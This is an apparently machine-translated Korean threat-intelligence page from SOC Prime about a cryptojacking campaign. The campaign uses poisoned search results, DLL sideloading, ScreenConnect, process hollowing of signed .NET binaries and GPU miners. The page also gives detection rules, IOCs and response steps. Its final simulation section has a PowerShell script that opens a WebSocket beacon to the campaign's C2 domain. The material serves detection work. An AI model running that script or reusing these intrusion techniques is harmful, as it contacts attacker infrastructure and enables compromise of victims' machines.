SOC Prime Bias: 중간

27 May 2026 15:46 UTC

유해 검색 결과에서 GPU 채굴로: ScreenConnect와 .NET 유틸리티를 사용하는 크립토재킹 캠페인

Author Photo
SOC Prime Team linkedin icon 팔로우
유해 검색 결과에서 GPU 채굴로: ScreenConnect와 .NET 유틸리티를 사용하는 크립토재킹 캠페인
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 캠페인은 SEO 독극물과 조작된 AI 챗봇 검색 결과를 사용하여 사용자를 가짜 하드웨어 모니터링 도구 다운로드로 유인합니다. 이 트로이화 설치 프로그램은 합법적인 애플리케이션에 사이드 로드되는 악성 DLL을 포함하고 있으며, 조용히 ScreenConnect를 배포합니다. 공격자들은 그런 다음 ScreenConnect를 사용하여 Microsoft 서명이 있는 .NET 바이너리를 빈 껍데기로 만들어 다음 단계의 페이로드를 주입하는 사용자 정의 RunPE 로더를 실행합니다. 마지막 단계에서는 GPU 마이닝 도구를 다운로드합니다. gminer, lolMiner, 그리고 SRBMiner-MULTI, 이후 예약된 작업, 레지스트리 실행 키, 시작 메뉴 바로가기를 통해 지속성을 유지합니다. 이 악성 코드는 또한 Windows Defender 예외를 추가하여 탐지 가능성을 줄입니다.

조사

Microsoft Defender 연구원은 DLL 사이드 로딩 방법, 원격 관리 도구로서의 ScreenConnect 오용, SimpleRunPE.exe라는 사용자 정의 RunPE 로더 사용을 포함한 전체 감염 체인을 매핑했습니다. SimpleRunPE.exe입니다. 분석가는 ScreenConnect 명령줄 인수를 복구하고 프로세스 빈 껍데기에 사용된 서명된 .NET 바이너리 목록을 식별하고 TLS 인증서로 보호된 명령 및 제어 엔드포인트를 문서화했습니다. 이 조사는 또한 캠페인과 연결된 악성 도메인, IP 주소, DNS 제공자 세부정보와 같은 지원 인프라를 드러냈습니다.

대응책

방어자는 클라우드 제공 보호를 활성화하고, 공격 표면 감소 규칙을 강제하며, 평판, 보급성 또는 연령 요구 사항을 충족하지 않는 실행 파일을 차단하고, Microsoft Defender for Endpoint에서 웹 및 네트워크 보호를 활성화해야 합니다. ScreenConnect와 같은 원격 관리 도구는 불필요한 경우 비활성화해야 하거나, 필요한 경우 엄격하게 제어되어야 하며, 승인되지 않은 예약 작업 및 의심스러운 레지스트리 실행 항목에 대한 모니터링이 필요합니다. 악성 코드가 추가한 모든 Windows Defender 예외는 즉시 제거해야 하며, 식별된 악성 도메인과 IP 주소는 차단해야 합니다.

대응

If RuntimeHost.exe or SimpleRunPE.exe 가 숨겨진 캐시 디렉토리에서 실행 중인 경우, 영향을 받은 호스트를 즉시 격리하고, 관련된 ScreenConnect 세션을 종료하며, 예약된 작업, 실행 키 및 시작 메뉴 바로가기를 포함한 모든 지속성 메커니즘을 제거합니다. 도메인 minemine.gleeze.com 및 관측된 IP 주소를 차단한 후, 환경을 가로질러 나열된 마이너 바이너리 및 autorun.dll을 수색하십시오. 마지막으로, Defender 보호 기능을 복구하고 승인되지 않은 변경 사항에 대한 예외 설정을 검토하십시오.

공격 흐름

탐지

가능한 지속성 지점 [ASEPs – Software/NTUSER Hive] (등록 이벤트 경유)

SOC Prime 팀
2026년 5월 27일

Schtasks 의심 디렉터리 / 바이너리 / 스크립트 (cmdline 경유)로 포인트

SOC Prime 팀
2026년 5월 27일

대체 원격 액세스 / 관리 소프트웨어 (프로세스 생성 경유)

SOC Prime 팀
2026년 5월 27일

의심스러운 CURL 사용 (cmdline 경유)

SOC Prime 팀
2026년 5월 27일

Powershell (경유)에서 의심스러운 .NET 메서드 호출

SOC Prime 팀
2026년 5월 27일

Windows Defender 환경설정 의심스러운 변경 사항 (Powershell 경유)

SOC Prime 팀
2026년 5월 27일

가능한 회피 검사 (Powershell 경유)

SOC Prime 팀
2026년 5월 27일

시작 위치에 있는 의심스러운 이진 파일/스크립트 (file_event 경유)

SOC Prime 팀
2026년 5월 27일

IOC(SHA256 해시)를 탐지: ScreenConnect 및 Microsoft .NET 유틸리티를 악용한 GPU 마이닝: 중독된 검색 결과에서 시작된 크립토재킹 캠페인

SOC Prime AI 규칙
2026년 5월 27일

IOC(SourceIP)를 탐지: ScreenConnect 및 Microsoft .NET 유틸리티를 악용한 GPU 마이닝: 중독된 검색 결과에서 시작된 크립토재킹 캠페인

SOC Prime AI 규칙
2026년 5월 27일

IOC(DestinationIP)를 탐지: ScreenConnect 및 Microsoft .NET 유틸리티를 악용한 GPU 마이닝: 중독된 검색 결과에서 시작된 크립토재킹 캠페인

SOC Prime AI 규칙
2026년 5월 27일

빈 바이너리에서 온 C2 통신 [Windows 네트워크 연결]

SOC Prime AI 규칙
2026년 5월 27일

ScreenConnect 및 SimpleRunPE를 통한 지속적인 원격 액세스와 프로세스 빈 껍데기 [Windows 프로세스 생성]

SOC Prime AI 규칙
2026년 5월 27일

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 비행 검사가 통과해야 합니다.

근거: 이 섹션은 감지 규칙을 트리거하도록 설계된 적의 기술적 전술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 서사는 식별된 TTP를 직접 반영해야 하며, 감지 논리에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.

  • 공격 서사 및 명령:
    공격자가 이미 빈 쉘로 된 합법적인 바이너리 를 피해자 기계에 전달했습니다. 이제 바이너리는 웹 소켓 을 통해 지속적인 C2 채널을 시작합니다 wss://minemine.gleeze.com:8443/ws. 이를 에뮬레이션하기 위해 .NET ClientWebSocket을 생성하고 (인증서 핀닝 시뮬레이션을 위해) 선택적으로 사용자 정의 TLS 인증서 유효성 검사 콜백을 설정하며, 잠시 동안 연결을 유지하는 PowerShell 스크립트를 사용합니다.

  • 회귀 테스트 스크립트:

    # 빈 쉘 바이너리의 C2 통신 시뮬레이션
    # 요구 사항: PowerShell 5+ (.NET 클래스 내장)
    $c2Url = 'wss://minemine.gleeze.com:8443/ws'
    
    # 웹 소켓 클라이언트 생성
    $ws = [System.Net.WebSockets.ClientWebSocket]::new()
    
    # 선택 사항: 인증서 핀닝 확인(특정 서명만 수락)
    $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234'  # 자리 표시자
    $handler = [System.Net.Http.HttpClientHandler]::new()
    $handler.ServerCertificateCustomValidationCallback = {
        param($sender, $cert, $chain, $sslPolicyErrors)
        $cert.Thumbprint -eq $allowedThumbprint
    }
    
    try {
        Write-Host "C2 엔드포인트 $c2Url 에 연결 중..."
        $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait()
        Write-Host "연결이 성립되었습니다. 비콘 페이로드를 전송합니다..."
    
        # 더미 비콘(JSON) 전송
        $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }'
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $segment = [System.ArraySegment[byte]]::new($bytes)
        $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
    
        Start-Sleep -Seconds 10   # 짧은 시간 동안 채널을 열어둡니다
    }
    finally {
        Write-Host "웹 소켓 종료 중..."
        $ws.Abort()
    }
  • 정리 명령:

    # 남아 있는 웹 소켓 프로세스가 종료되도록 합니다
    Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force
    # 테스트에 사용된 임시 파일을 선택적으로 제거
    Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue